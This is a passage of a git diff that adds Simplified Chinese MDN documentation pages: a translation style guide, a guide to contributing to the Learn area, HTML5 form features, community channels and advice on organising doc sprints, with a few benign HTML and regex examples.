Attributes属性 <a> 标签的属性一节
+ +

缩写的展开

+ +

展开缩写时使用中文括号,括号中首先给出缩写的完整英文表达,后面跟着逗号和中文翻译。例如:

+ +
HTML(HyperText Markup Language,超文本标记语言)
+ +
+

HTML(超文本标记语言,HyperText Markup Language)

+
+ +
+

HTML(超文本标记语言——HyperText Markup Language)

+
+ +
+

HTML (HyperText Markup Language,超文本标记语言) (注:使用了英文括号)

+
+ +

选择题

+ +

有时候,我们会在翻译过程中面临某个单词或某段内容是译还是不译、哪种翻译方法更好的选择。本小节总结了翻译中的一些常见问题,并给出一些意见和建议,供参考。

+ +

长句还是短句?

+ +

没有人会乐意阅读复杂和很长的句子。但是有时候由于所要表达的内容本身的逻辑复杂性,而导致无法进一步压缩句子的长度和复杂度。但是这时候我们可以通过调整顺序和拆分句子来降低它的理解难度。

+ +

“你”还是“您”?

+ +

对于非严谨的地方,一般用“你”即可,这样亲切些,没必要冷冰冰的。当然必要的时候(一般是警告的地方,如“您即将从演示室移除xxx”)可以使用“您”来称呼。

+ +

译还是不译?

+ + + +

示例代码及注释

+ +

MDN 上面的很多文章中都包含示例代码。一般来说,你可以将这些代码及注释原封不动地复制过来,并不需要刻意去翻译。示例代码不同于正式工作中所写的代码,示例代码主要是说明概念和用法,因此通常会设计的很简单,并且主要的解释都已经在前面的文章内容里面了,注释大多数时候只是起到辅助说明的作用,所以多数时候,即使读者完全不看注释也不妨碍他们对示例的理解。

+ +

但是有几种情况还是建议最好能对其中的注释做一下翻译。

+ +
1. 示例中涉及到其他知识,而注释正是为了解释这部分知识而添加的
+ +

在这种情况下,确保读者已完全理解了注释就是相当必要的了,否则可能会影响对整个示例的理解。因此这种情况最好能对这部分注释做一下翻译。

+ +

比如下面是摘自 JavaScript Array 对象中的例子。该示例涉及到正则表达式的应用,而对于初学者来说,他可能还不太了解什么是正则表达式,以及这段代码的结果是什么,这会使他产生迷惑(而且原文中本段代码后面还配有一个详细解释了代码执行结果的表格,如果读者无法理解这段代码,他很可能也看不懂那个表格中的内容)。

+ +
// Match one d followed by one or more b's followed by one d
+// Remember matched b's and the following d
+// Ignore case
+
+var myRe = /d(b+)(d)/i;
+var myArray = myRe.exec('cdbBdbsbz');
+ +

所以我选择对其进行翻译

+ +
// 匹配1个 d 后面紧跟着至少1个 b,再后面又跟着1个 d 的子串,
+// 并且需要记住子串中匹配到的 b 和最后的 d (通过正则表达式中的分组),
+// 同时在匹配时忽略大小写
+
+myRe = /d(b+)(d)/i;
+myArray = myRe.exec("cdbBdbsbz");
+ +
2. 注释的内容是对原文的补充
+ +

有些示例是对原文的补充说明,而不是单纯的演示和举例。这时候,示例和注释相当于是原文的一部分,因此这种情况下最好能将注释翻译出来。

+ +
3. 惯用语的翻译
+ +

这一点不太容易解释,并且我个人觉得还存在争议,列在这里供参考。

+ +

有些注释中使用了一些我们平时的惯用语,而这些惯用语我们已经习惯了中文化的表达,对英文并不熟悉。这种情况下,可以适当对其进行翻译。

+ +

一个常见的例子,我们经常会在示例中使用打印语句来打印信息,以此说明程序的运行结果。这种时候,英文文档中经常会用“// print 100”或”// log 100“来对打印语句做注释。如果我们将其翻译为”// 打印 100“可能看起来会更加亲切一些。

+ +

标签

+ +

页面底部的标签大部分情况下并不需要翻译。

+ +

URL slug

+ +

slug 就是网页地址后面的那一串,用来标识每一篇文章。如果你正面临是否需要翻译 slug 的选择,请选择 No!保留 slug 为英文可以保证链接的可读性,也可以避免翻错的情况(这个一旦确定好像就不能修改了)。

+ +

保存和恢复翻译进度

+ +

翻译一篇文章可能无法一次完成,尤其是比较长的文章。幸好 MDN 的编辑器可以将进度自动保存在你的本地电脑中,在你不小心关闭了浏览器,或者不小心点击了一个链接而离开了当前页面的时候,自动保存的内容会在你重新打开编辑页面的时候自动恢复,从而避免丢失之前的劳动成果。

+ +

但是,请不要百分百依赖编辑器的自动保存功能,偶尔它也有失效的时候,而一旦发生就可能会造成严重后果。

+ +

如果因为文章内容较多而导致翻译时间很长,可以在取得阶段性成果之后先将内容提交,并在提交时勾选“版本备注” -> “本地化标志” -> "本地化进行中 - 还没完全翻译呢",这样提交后用户看到的页面上会显示“翻译正在进行中”的提示信息。

+ +

最后,如果你在翻译过程中存在一些拿不准的地方,或者自我感觉译文中可能存在错误或需要改进的地方,那么你可以在提交时勾选“版本备注” -> “需要复核吗?”中的“技术复核”或“文法复核”选项。这样其他志愿者就可以看到并帮助你复核译文。

+ +

其他

+ +

这一小节列出了翻译过程中可能会遇到的其他一些问题。

+ +

Firefox UI 控件名称

+ +

除非中文版 UI 控件的翻译有明显错误,否则控件名称(如操作步骤中描述的窗口、菜单、按钮等)都应尽量参照所描述版本或最新版 Firefox 中的翻译,以保证可对应。

+ +

若最新版 Firefox 的 UI 仍有错误的翻译或你有改善建议,请到 mozest 本地化板块反馈或邮件通知简体中文本地化成员

+ +

引用链接

+ +

英文版文章中可能会包含引用 MDN 中其他文章的绝对链接,此时要注意将链接修改为中文版的 URL。

+ +

修改方法很简单,一般是把其中的 en-US 改为 zh-CN 即可。比如下面是 JavaScript 文档中对全局对象的介绍,分别对应英文版和中文版:

+ +

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects

+ +

https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects

+ +

待完善

+ +

本规范还有很多不完善的地方,如果你有什么好的意见和建议,欢迎编辑本页面,当然也可以到MDNzh论坛来讨论。

+ +

 

+ +

 

diff --git a/files/zh-cn/orphaned/learn/how_to_contribute/index.html b/files/zh-cn/orphaned/learn/how_to_contribute/index.html new file mode 100644 index 0000000000..73d806a1b6 --- /dev/null +++ b/files/zh-cn/orphaned/learn/how_to_contribute/index.html @@ -0,0 +1,85 @@ +--- +title: 如何向MDN的学习区做贡献 +slug: learn/How_to_contribute +tags: + - MDN 元信息 + - 初学者 + - 学习 + - 引导 + - 指南 + - 文档 + - 贡献 +translation_of: Learn/How_to_contribute +--- +
{{LearnSidebar}}
+ +

可能您是第一次看到这个页面,也可能您经过层层搜索而来。我们猜测您找到这里,是希望向 MDN 学习区做贡献——棒极了!

+ +

这篇文档将告诉您如何提高 MDN 学习区资料的质量。您可以做的事情各种各样,取决于您有多少时间,以及您的身份:初学者Web 开发者,还是教师

+ +
+

注意:这篇指南会告诉您如何撰写文章来帮助他人学习 Web

+
+ +

寻找特定任务

+ +

贡献者向学习区做出贡献的方法通常是阅读文章、修复排版错误并提出改进。我们同时欢迎您向我们的 GitHub 源 添加示例。若您还想了解需要做的其他事项,请与我们联系。

+ +

在学习新知识的同时做出贡献是一件乐趣无穷的事。如果您感到迷茫或者有疑问,不用犹豫,通过邮件列表或 IRC 频道联系我们(本页底部有更详细的信息)。Chris Mills 是学习区的主题发布人——您也可以直接和他联系。

+ +

以下章节为您的任务提供概要思路。

+ +

我是初学者

+ +

好极了!对于创建学习资源和提供反馈,初学者们至关重要。作为目标受众,您对这些文章具有独特的视角,这让您成为我们团队中的无价之宝。真的,如果您正在通过某篇文章学习知识却卡住了,或者您觉得这篇文章看起来有点令人费解,您既可以自行改正,也可以把问题告诉我们以便我们去改正它。

+ +

下面是几种建议的贡献方式:

+ +
+
为文章添加标签5 分钟
+
为文章添加标签是最简单的贡献方式。利用标签来呈现信息是我们的特色之一,因此添加标签对我们来说是非常有价值的贡献方式。您可以先从还没有标签的词汇条目学习文章开始。
+
阅读并复核词汇条目5 分钟
+
我们希望,作为初学者的您能用您的视角来审视我们所写的内容。如果您感到某个词汇条目难以理解,这说明该条目需要改进。您可以做任何觉得有必要的修改。如果您感到自己的技能不足以修改词汇条目,也可以通过邮件列表告诉我们。
+
撰写词汇条目20 分钟
+
这是学习新知识的最有效的方式了。挑选一个想要深入了解的概念,根据您所学的,撰写关于这个概念的词汇条目。“向他人解释”,这是巩固已学知识的最佳方式之一,既帮助您深入理解,同时也帮助了他人。这就是共赢!
+
阅读并复核学习文章2 小时
+
这与上述“复核词汇条目”非常类似,只是由于文章更长,因此要花更多时间。
+
+ +

我是 Web 开发者

+ +

太棒了!我们太需要您的专业技能了,这确保我们向初学者提供的内容技术准确。考虑到这部分内容用于供他人学习,我们希望您提供的解释尽可能表述简单,但又不至于无用。我们首先考虑易于理解,而非过度精确。

+ +
+
阅读并复核词汇条目5 分钟
+
我们希望作为 Web 开发者的您,能让我们的文章内容技术准确而又不至于太学究气息。您可以做任何认为有必要的修改。如果您想在编辑前讨论内容,可以通过邮件列表IRC 频道联系我们。
+
撰写词汇条目20 分钟
+
阐述技术词汇是一种很好的学习方法,它能帮助您用准确而简单的方式把握技术细节。初学者非常需要准确清晰的术语定义。我们有许多缺乏定义的术语需要您来完善,请放手去做吧!
+
阅读并复核学习文章 (2 小时)
+
这与上述“复核词汇条目”一样,只是由于文章更长,因此要花更多时间。
+
撰写学习文章 (4 小时或者更多)
+
MDN 缺少朴素直白的文章以介绍如何使用 Web 技术(HTMLCSSJavaScript 等等)。我们还有很多陈旧的文档内容,需要复核或重构。发挥您的聪明才智,造福 Web 技术初学者吧!
+
创建练习、代码样例或交互式学习工具 (? 小时)
+
亲自实践的学习效果更佳,因此我们希望所有的学习文章都包含“主动学习 (active learning)”材料,比如练习、或者交互式内容。这些材料能够帮助用户熟练运用文章中详述的概念。制作“主动学习”材料的方式很多,比如使用 JSFiddle 或类似工具创建代码样例,或者使用 Thimble 构建可解析的交互式内容。总而言之,释放您的创造力吧!
+
+ +

我是教师

+ +

MDN 长期以来都拥有卓越的技术,但对于传授知识的最佳方法,我们仍然缺乏深刻的见解。我们需要教育工作者的参与,从而确保我们的材料为读者提供良好而实用的教育方法。

+ +
+
阅读并复核词汇条目 (15 分钟)
+
检查词汇条目,并对任何您认为有必要的地方进行修改。如果您想在编辑前讨论内容,可以通过可以通过邮件列表IRC 频道联系我们。
+
撰写词汇条目 (1 小时)
+
为了满足初学者的需求,在词汇表中对术语进行清晰简明的定义、对概念进行基本总体的描述至关重要。您的教育经验对于创建优秀的词汇条目大有裨益;我们有许多缺乏定义的术语需要您来完善,请放手去做吧!
+
向文章中添加插图或图表 (1 小时)
+
您一定了解图表在学习材料中的价值。我们的文章内容总是缺乏图表,而您正好可以大展身手。您可以从缺少图表内容的文章中选择一些,为其创建插图。
+
阅读并复核学习文章 (2 小时)
+
这与上述“复核词汇条目”类似,只是由于文章更长,因此要花更多时间。
+
撰写学习文章 (4 小时)
+
我们需要朴素直白的文章,介绍 Web 生态体系以及其他相关的功能主题。这些文章的目标是教育性,而非领域百科。文章应当涉及什么、如何表述,您在这方面的丰富经验大有帮助。
+
创建练习、测验或者交互式学习工具 (? 小时)
+
我们希望所有的学习文章都包含“主动学习 (active learning)”材料,比如练习、或者交互式内容。这些材料能够帮助用户学习并拓展理解文章中详述的概念。您可以做很多事情——创建测验、用 Thimble 构建可解析的交互式内容——总之,释放您的创造力吧!
+
创建学习路线 (? 小时)
+
为了提供循序渐进、易于理解的教程,我们需要把学习材料组织成体系化的路线。这个过程将收集已有的材料,并找出缺失的内容,然后用新文章填补空缺。
+
diff --git a/files/zh-cn/orphaned/learn/html/forms/html5_updates/index.html b/files/zh-cn/orphaned/learn/html/forms/html5_updates/index.html new file mode 100644 index 0000000000..24a27db5b5 --- /dev/null +++ b/files/zh-cn/orphaned/learn/html/forms/html5_updates/index.html @@ -0,0 +1,144 @@ +--- +title: HTML 中的表单 +slug: Web/Guide/HTML/Forms_in_HTML +tags: + - HTML5 + - HTML5 form updates + - form +translation_of: Learn/HTML/Forms/HTML5_updates +--- +
HTML5中的表单元素和属性提供了比HTML4更多的语义标记,并取消了大量的在HTML4不可缺少的脚本和样式。HTML5中的表单功能为用户提供了更好的体验,使表单在不同网站之间更一致,并向用户提供有关数据输入的即时反馈。它们还为使用禁用脚本的浏览器的用户提供相同的用户体验。
+ +
 
+ +
本文总结了HTML5中的表单变化。有关使用表单的详细指南,请参阅我们更多的HTML表单指南
+ +
 
+ +

<input> 元素

+ +

{{HTMLElement("input")}} 的 {{htmlattrxref("type", "input")}} 特性拥有更多的值。(请观看 {{HTMLElement("input")}} 获得完整列表)

+ + + +

 {{HTMLElement("input")}} 元素也拥有一些新的特性。

+ + + +

text input

+ +
+
 
+
+ +

这个程序段段定义了一个用户可以输入的一行input。

+ +
<form>
+  Enter your Name <input type="text" name="name">
+</form>
+ +

checkboxes

+ +

这个程序段允许用户选择多个选项。

+ +
<input type="checkbox" name="chk" value="" checked> Do you want the newsletter
+ +

Radio < input> element

+ +
<form>
+  <input type="radio" name="frequency" value="daily">Daily<br>
+  <input type="radio" name="frequency" value="weekly">Weekly<br>
+  <input type="radio" name="frequency" value="monthly">Monthly<br>
+  <input type="radio" name="frequency" value="yearly">Yearly
+</form>
+ +

<form> 元素

+ +

{{HTMLElement("form")}} 元素有了一个新特性:

+ + + +

<datalist> 元素

+ +

{{HTMLElement("datalist")}} 元素会在填写 {{HTMLElement("input")}} 字段时,显示一列 {{HTMLElement("option")}} 作为提示。

+ +

你可以使用 {{HTMLElement("input")}} 元素上的 {{htmlattrxref("list", "input")}} 特性来将一个特定的 input 与特定的 {{HTMLElement("datalist")}} 元素做关联。

+ +

<output> 元素

+ +

{{HTMLElement("output")}} 元素表示计算的结果。

+ +

你可以使用 {{htmlattrxref("for", "output")}} 特性来在 {{HTMLElement("output")}} 元素与文档内其他能够影响运算的元素(例如,input 或参数)建立关联。 {{htmlattrxref("for", "output")}} 特性的值是以空格做分隔的其他元素的 ID 列表。

+ +

{{non-standard_inline}} Gecko 2.0 (其他浏览器并非如此) 支持为 {{HTMLElement("output")}} 元素自定义有效性约束(validity constraints)与错误信息,可以对其使用如下 CSS 伪类:{{Cssxref(":invalid")}}, {{Cssxref(":valid")}}, {{Cssxref(":-moz-ui-invalid")}},与 {{Cssxref(":-moz-ui-valid")}}。在如下情况会显得很有用:例如计算结果违反了业务规则,但却并非因为特定的 input 值出现错误(例如,「百分比总数不能超过100)。

+ +

placeholder 特性

+ +

{{htmlattrxref("placeholder", "input")}} 特性作用于 {{HTMLElement("input")}} 与 {{HTMLElement("textarea")}} 元素上,提示用户此域内能够输入什么内容。placeholder 中的文本不能包含回车与换行。

+ +

autofocus 特性

+ +

{{htmlattrxref("autofocus", "input")}} 特性让你能够指定一个表单控件,当页面载入后该表单自动获得焦点,除非用户覆盖它,例如在另一个控件中输入值。一个文档内只有一个表单能够拥有 autofocus 特性,它是一个 Boolean 值。这个特性适用于 {{HTMLElement("input")}}, {{HTMLElement("button")}}, {{HTMLElement("select")}},与 {{HTMLElement("textarea")}} 元素。例外情况是,如果一个 {{htmlattrxref("autofocus", "input")}} 元素的 {{htmlattrxref("type", "input")}} 特性值设置成了 hidden,则 autofocus 无法生效(就是说,你无法让一个隐藏控件自动获得焦点)。

+ +

label.control DOM 属性

+ +

HTMLLabelElement DOM 接口除了为 {{HTMLElement("label")}} 元素提供了对应的特性外,还提供了一个额外的属性。 control 属性返回被打上标签的控件,就是 label 适用的控件,由 {{htmlattrxref("for", "label")}} 特性(如果定义的话) 或是第一个后代元素控件来确定。

+ +

约束验证

+ +

HTML5 为客户端表单的验证提供了语法与 API。当然这些功能无法取代服务器端验证,出于安全性与数据完整性的考虑,服务器端验证仍然必不可少,但是客户端验证能够通过对输入数据的即时反馈来提供良好的用户体验。

+ +

如果 {{HTMLElement("input")}} 元素设置了 title 特性,当验证失败时,特性值会显示在提示信息中。如果 title 设置为空字符串,则不会显示提示信息。如果没有设置 title 特性,会使用标准验证信息(例如通过 {{htmlattrxref("x-moz-errormessage")}} 特性指定,或调用 setCustomValidity() 方法) 代为显示。

+ +
注意: 约束验证不支持表单中的 {{HTMLElement("button")}} 元素;若想基于表单的验证结果来改变按钮的样式,可以使用 {{cssxref(":-moz-submit-invalid")}} 伪类。
+ +

约束验证的 HTML 语法

+ +

下列 HTML5 语法中的条目用于为表单数据指定约束。

+ + + +

此外,若要阻止对表单进行约束验证,你可以在 {{HTMLElement("form")}} 上设置 {{htmlattrxref("novalidate", "form")}} 特性,或在 {{HTMLElement("button")}} 与 {{HTMLElement("input")}} 元素(当 {{htmlattrxref("type", "input")}} 是 submit 或 image)上设置 {{htmlattrxref("formnovalidate", "button")}} 特性。这些特性指定了当表单提交时不做验证。

+ +

约束验证 API

+ +

下面这些 DOM 属性与方法和约束验证相关,能够在客户端脚本中使用:

+ + + +
{{HTML5ArticleTOC}}
diff --git a/files/zh-cn/orphaned/learn/html/forms_and_buttons/index.html b/files/zh-cn/orphaned/learn/html/forms_and_buttons/index.html new file mode 100644 index 0000000000..a0f74f6ef1 --- /dev/null +++ b/files/zh-cn/orphaned/learn/html/forms_and_buttons/index.html @@ -0,0 +1,43 @@ +--- +title: 表单和按钮 +slug: learn/HTML/Forms_and_buttons +tags: + - 初学者 + - 指引 + - 文章 + - 表单 +translation_of: Learn/HTML/Forms_and_buttons +--- +

{{draft}}{{LearnSidebar}}

+ +

表单和按钮是Web的一个非常重要的部分 - 这些允许您的站点访问者输入数据并将其发送给您(例如注册,登录和反馈表单),并且您可以实现控制以控制复杂功能(例如提交表单) 到服务器,或暂停播放视频。)这个模块可以帮助您入门。

+ +

先决条件

+ +

在开始本单元之前,您应该对HTML的基础知识有一定的了解,如HTML简介中所述。 如果你没有通过这个模块(或类似的东西),先完成它,然后再回来!

+ +
+

Note: 如果你是在计算机/平板电脑等其他你无法创建文件的设备上的话,你可以尝试在在线代码编辑平台上运行代码例如 JSBin 或 Thimble.

+
+ +

向导

+ +

本模块包含以下的文章

+ +
+
表单和按钮基础知识(Form and button basics)
+
     在本文中,我们将向您介绍HTML表单的基础知识,包括它们的用途,基本功能和常用表单控件。 我们还将了解HTML按钮以及如何使用它们。
+
形成语义和结构
+
     存在许多元素,允许我们将表单结构化为更易于使用和访问 - 其中一些是专门的表单元素,其中一些是通用HTML容器。 在本文中,我们将介绍创建表单结构的最佳实践。
+
高级表单功能
+
       在这里,我们将介绍HTML表单中可用的一些更高级的功能,例如数据列表,进度条,滑块以及最小值和最大值。
+
表格验证
+
     在我们的最终表单文章中,我们将讨论表单验证,讨论为什么有必要,并查看HTML选项卡提供的一些功能,以便客户端验证表单数据。
+
+ +

练习

+ +
+
表单练习
+
等待完成(to be done)
+
diff --git a/files/zh-cn/orphaned/mdn/community/conversations/index.html b/files/zh-cn/orphaned/mdn/community/conversations/index.html new file mode 100644 index 0000000000..e37d40486e --- /dev/null +++ b/files/zh-cn/orphaned/mdn/community/conversations/index.html @@ -0,0 +1,59 @@ +--- +title: MDN 社区对话 +slug: MDN/Community/Conversations +tags: + - 不完善的 + - 后期还需要改善 + - 社区相关 + - 经过一次润色的 +translation_of: MDN/Community/Conversations +--- +
{{MDNSidebar}}
+ +

MDN的“工作”在MDN网站开展,但“社区”也通过(异步)讨论以及(同步)在线聊天和会议开展。

+ +

异步讨论

+ +

为了分享信息并进行持续的讨论,MDN在Mozilla话语论坛中有自己的类别(“MDN”) 将此类别用于与MDN相关的所有主题,包括文档内容的创建,翻译和维护; MDN平台开发; 并进行规划,目标设定和进度跟踪。

+ + + +

历史档案

+ +

在2017年6月之前,MDN相关的讨论发生在与Google群组关联并归档的邮件列表中。 如果您想搜索这些过去的讨论,您可以查看与旧邮件列表相对应的Google网上论坛。 是的,我们知道这些名字是重叠和混淆。历史的偶然性。对此我们感到很抱歉。

+ +
+
mozilla.dev.mdc
+
此列表用于讨论MDN上的文档内容。
+
mozilla.dev.mdn
+
此列表涉及MDN底层Kuma平台的开发工作。
+
mozilla.mdn
+
这个论坛是针对高层次的规划和优先级讨论,MDN网站和其他相关举措。
+
+ + + +

同步聊天

+ +

Mozilla实时的讨论平台是Matrix,Mozilla自己拥有使用这个通讯协议的服务器。网页中即可加入讨论。

+ +

MDN Web文档聊天室是为讨论MDN内容的主要频道。我们探讨编写、内容编排等内容。我们也会进行“茶水间”讨论(摸鱼),这是我们的社群保持联系,或者仅仅用来消遣的方式。通常在北美和欧洲的工作日,这间聊天室最为活跃。

+ +

你或许会想了解一下怎么使用Mozilla的Matrix,然后呢,如果你真的很喜欢它的话,那么可以安个独立的Matrix应用,例如Riot.im

+ +

那么IRC呢?

+ +

多年来,Mozilla用互联网中继聊天(IRC)来进行实时讨论。到了2020年初,Matrix已经把IRC淘汰了。你可能会在很多地方看到有人提到IRC的频道,包括MDN上。你可以帮忙更新MDN上你看到的IRC频道的链接,为指向对应Matrix聊天室的链接。如果你不确定这个话题对应的Matrix聊天室是哪间,那么可以来General聊天室询问。不再活跃的项目和话题可能也不会有Matrix聊天室,如果是这样的话,把链接删掉即可。

+ +

参加我们的会议(和其他活动)

+ +


+ MDN团队会举行一些面向MDN社区的定期会议。查看 Mozilla维基上的MDN Meetings 页面获取关于日程、议程和笔记的细节,以及如何参加的信息。

+ +

查看MDN Events calendar上的这些和其他会议、当地聚会和其他项目。在 MDN Meetings wiki page上有定期会议

+ +

如果你看到一个在Vidyo videoconferencing系统的“mdn”频道举行的会议,你可以在网上加入谈话

diff --git a/files/zh-cn/orphaned/mdn/community/doc_sprints/index.html b/files/zh-cn/orphaned/mdn/community/doc_sprints/index.html new file mode 100644 index 0000000000..ca1da4be91 --- /dev/null +++ b/files/zh-cn/orphaned/mdn/community/doc_sprints/index.html @@ -0,0 +1,123 @@ +--- +title: Doc sprints +slug: MDN/Community/Doc_sprints +tags: + - NeedsUpdate +translation_of: MDN/Community/Doc_sprints +--- +
{{MDNSidebar}}
+ +

{{ draft() }}

+ +
+

Note: MDN社区在2010 - 2013年期间经常举办文档迭代。 从2014年开始,这些事件的范围扩大到“Hack on MDN”事件,其中包括代码窃取以及文档项目。 下面的大部分建议同样适用于 "Hack" sprints和documentation sprints。

+
+ +

这是组织documentation sprint的指南。 它包含来自组织doc sprints的人的建议和提示,以帮助您更好的组织文档。 本指南还借鉴了FLOSS手册书籍的书籍。

+ +

什么是 doc sprint?

+ +

doc sprint 是一段时间,一群人像你一样可爱的人,合作撰写关于给定主题或相关主题的文档。

+ +

sprints 的分类

+ +

sprints可以是线上的,也可以是线下的,也可以线上线下一起进行。对于线上sprints而言,每个人都可以在不同的地区参与,只需要通过中间渠道进行沟通。对于线下sprints,参加者在sprints期间聚集在同一地区,以便他们可以面对面进行交流。线下sprints需要更多的后勤规划,确保会议地点,可以容纳所有参与者,并且在sprints期间需要提供食物与安置参与者。

+ +

另一种分类sprints的方式是通过专题聚焦。例如sprint可能关注特定的主题,比如:Web开发,或翻译特定语言。

+ +

计划一次 sprint

+ +

设定目标

+ +

明确这次 sprint的目标, 包括内容和社区效应。 这能够帮助你更好地计划低层次的细节。

+ + + +

决定类型和范围

+ +

基于你的目标, 确定 sprint的类型 (线上的,也可以是线下的,或者是线上线下一起进行) 和范围 (这是参与者会关注的)。

+ +

比如说,你想要吸引新的社区成员,你可以选择本地的线下sprint, 因为不需要长途旅行, 而且参加者还可以见面. 如果您想要专注于特定的主题领域,其中内容贡献者是地理上分离的,而且早就彼此认识,那么一个线上sprint就很合适。

+ +

选择日期和时间

+ +

对于需要长途交通的线下sprint, 我们已经发现了三天 (比如说两天周末和一天工作日) 就足够做到很多重要的工作。也不会占用大家日常生活的很多时间。对于公开,本地,线下的sprint,大部分人只能够付出一天的时间. 对于线上的sprint, 我们通常进行两天: 一个工作日外加周末的一天。 As an alternative example, in the past there has been mini-sprint for writing and translating docs, every Wednesday evening in the Mozilla Paris office; it was primarily in-person for locals, but also got remote participation from Montreal (where it was at lunch time).

+ +

Attaching a sprint to the end of a conference that everyone attended worked well; trying to run a sprint during a conference that everyone attended did not work so well. Make sure that participants know about the sprint when they make their conference plans, so that they allow extra days for the sprint.

+ +

Consider the time zones that virtual participants are in; be sure that you allow enough working time in each time zone, and have some overlap when multiple zones (such as Europe and Americas, or Americas and Asia) are awake. However, it's just reality that no one time is good for everyone everywhere.

+ +

For virtual sprints, the dates can be set as little as 2-3 weeks in advance. For in-person sprints, you need to decide further in advance, in order to allow time for people to decide and make travel arrangements.

+ +

Promote the sprint

+ +

You can make the sprint open, and invite the world, but you should have a few key people that you know for sure will participate. Work with them when selecting dates, to ensure that they are available during the chosen dates. If the sprint is not open, then you need only extend invitations; make sure that each invitation is personal, explaining why that person has been specificallly invited.

+ +

For public sprints, identify existing groups that have an interest in the topic, for example: local Web developer meetup groups for a local in-person sprint. Send an announcement through whatever channel is appropriate for that group. Be sure to provide a link to a web page with more details, and include a call-to-action for people to sign up for the sprint. Eventbrite and Lanyrd are two services that support sign-ups. For Mozilla developer events, we have found that about half the people who sign up actually show up.

+ +

Use the social media channels that are appropriate to reach your target attendees. We have found that for Web developers, this means Twitter, followed by Google Plus, more than Facebook or LinkedIn. However, popular channels can vary geographically (such as Orkut in Brazil). Reach out to a few well-connected people who have a large following among your target audience, and ask them to re-share your posts.

+ +

Logistics for in-person sprints

+ +

Logistics for in-person sprints are greater for longer sprints and those where sprinters travel to attend. A short or locals-only sprint need relatively little logistical support.

+ +

Budget and funding

+ +

You need to figure out how much the event is going to cost, and where the money is going to come from.

+ +

Costs to consider in your budget include:

+ + + +

Some of these costs can be self-funded by participants, meaning that they pay for their own costs. There are a variety of ways to save money, which are mentioned in the following sections.

+ +

It may be possible to get sponsorship from Mozilla to fund some of the costs of your event. It helps to have a clear focus for your event, and a specific plan and budget. If there is a Mozilla Rep in your area, work with them to request budget and swag through the Reps program. Otherwise, you can submit a developer events request in Bugzilla.

+ +
+
Venue
+
There are lots of options for meeting space. If you are in a city with a Mozilla office, you can use the community space in that office. Elsewhere, options include meeting rooms in libraries, churches, coffee shops, or businesses where you have contacts. Many cities now have coworking spaces that rent their conference rooms for a reasonable fee.
+
Resources
+
Be sure that your venue has good chairs and tables, and reliable power and Internet access. Sitting all day on a bad chair is not just uncomfortable; it can lead to injury. Make sure that the number of sprinters and their computers and devices does not overwhelm the power supply and available Internet bandwidth. Be generous (but not dangerous) with extension cords, and if necessary, international plug adapters. A projector for shared viewing can be very helpful. Whiteboards and sticky notes are great for brainstorming and planning.
+
Travel
+
Travel is relevant only if the sprinters do not all live close to the sprint venue. The usual strategies for saving on travel apply, and are not specific to doc sprints.
+
Accommodations
+
Where sprinters stay should not be inconveniently far from the meeting venue. It can be cheaper (and possibly more fun) to split the cost of a vacation house or flat, rather than paying for individual hotel rooms. If you have a mix of visitors and (willing) locals, the visitors can stay in the homes of local community members.
+
Food
+
Sprinters need to eat! Make arrangements for food during the sprint, and inform sprinters if certain meals will not be arranged. If the group is staying in a home, you can save money by buying and cooking food rather than going out to eat. Even if food is self-funded, it can reduce hassle to pitch into a common fund for food, rather than splitting every restaurant bill. If your venue allows, have snacks (some healthy and some not) available between meals.
+
Fun
+
Make time for non-writing social activities. These can be informal, like going for a hike together, or more formal, like a tourist excursion. Going out for beer (at the end of the day, of course) is usually a winner. On the other hand, don't plan every hour of every day. Everybody needs some down time, especially introverts.
+
+ +

During the sprint

+ +

Planning the work

+ +

 

+ +

Tracking tasks

+ +

Have a way to track what tasks need to be worked on, who is doing what, and what has been completed. For MDN doc sprints, we use a wiki page for advance planning, and an etherpad for tracking work during the sprint.

+ +

Often, people want to help but don't know where to start, and deciding among many options takes too much mental effort. For any given participant, give them a couple of possible tasks ("you could do A, or B"); this simplifies their choice, without making them feel like they're being bossed around.

+ +

Collaborating

+ +

One of the benefits of in-person sprints is that people can work together in ways that they might not be able to when they're not in the same place, for example, by working out ideas together on a whiteboard or by brainstorming with sticky notes. Still, there are opportunities for collaboration and camaraderie in any type of sprint. Chatting via IRC is essential for virtual sprints, and still very helpful for in-person sprints (for example, for sharing links). For a greater sense of "virtual presence", consider using a video conferencing service, such as Google Hangout.

+ +

As an organizer, look for common interests among the participants and for ways that they can work together.

+ +

Celebrating accomplishments

+ +

Be sure to take time to celebrate accomplishments at the end of the sprint. This gives participants a better feeling than when the sprint just ends without any summary. If possible, have people "demo" what they have done, even if it is just showing a new article page.

+ +

Also, share the sprint accomplishments via a blog post, to celebrate publicly as well. This is important for any kind of sprint, but especially for virtual sprints, where the participants might not all be online at the official end of the sprint for a wrap-up session.

diff --git a/files/zh-cn/orphaned/mdn/community/index.html b/files/zh-cn/orphaned/mdn/community/index.html new file mode 100644 index 0000000000..19e3e729ce --- /dev/null +++ b/files/zh-cn/orphaned/mdn/community/index.html @@ -0,0 +1,53 @@ +--- +title: 加入 MDN 社区 +slug: MDN/Community +tags: + - MDN Meta + - 引导 + - 社区 +translation_of: MDN/Community +--- +
{{MDNSidebar}}
+ +
{{IncludeSubnav("/zh-CN/docs/MDN")}}
+ +
+

MDN(Mozilla Developer Network)不仅仅是一个维基,而且是一个为使用开放 Web 技术的开发者而打造的社区。在这儿,开发者为了使 MDN 更加出色而共同努力。

+
+ +

我们非常乐意您能给 MDN 贡献一份力量。当然我们更加希望您能加入 MDN 社区。只需简单的三步,即可加入我们:

+ +
    +
  1. 创建 MDN 账户
  2. +
  3. 参与交流
  4. +
  5. 关注正发生的一切
  6. +
+ +

社区是怎么运作的

+ +

下列文章详细地介绍了 MDN 社区。

+ +
+
+
+
社区参与者
+
MDN 社区有许多负责任的参与者。
+
文档迭代
+
这是一个有关组织文档迭代的指导。它包含组织过文档迭代的开发者的建议和技巧,这个指导的目的是为了帮助您更好地组织文档。
+
关注正发生的一切
+
MDN 是由 Mozilla 开发者网络社区 发起的。这里有一些有关我们正在做的事物信息。
+
+ +
+
+
+ +
+
+
MDN 社区对话
+
MDN 上的工作在 MDN 社区网站上进行。但社区也提供讨论,在线交流和线下会议等多种对话方式。
+
社区工作
+
了解如何作为 MDN 社区的一部分来为 MDN 文档作贡献是本文的主题。本文给出了一些技巧来帮助您和其他开发者、开发团队来进行更有效的交流。
+
+
+
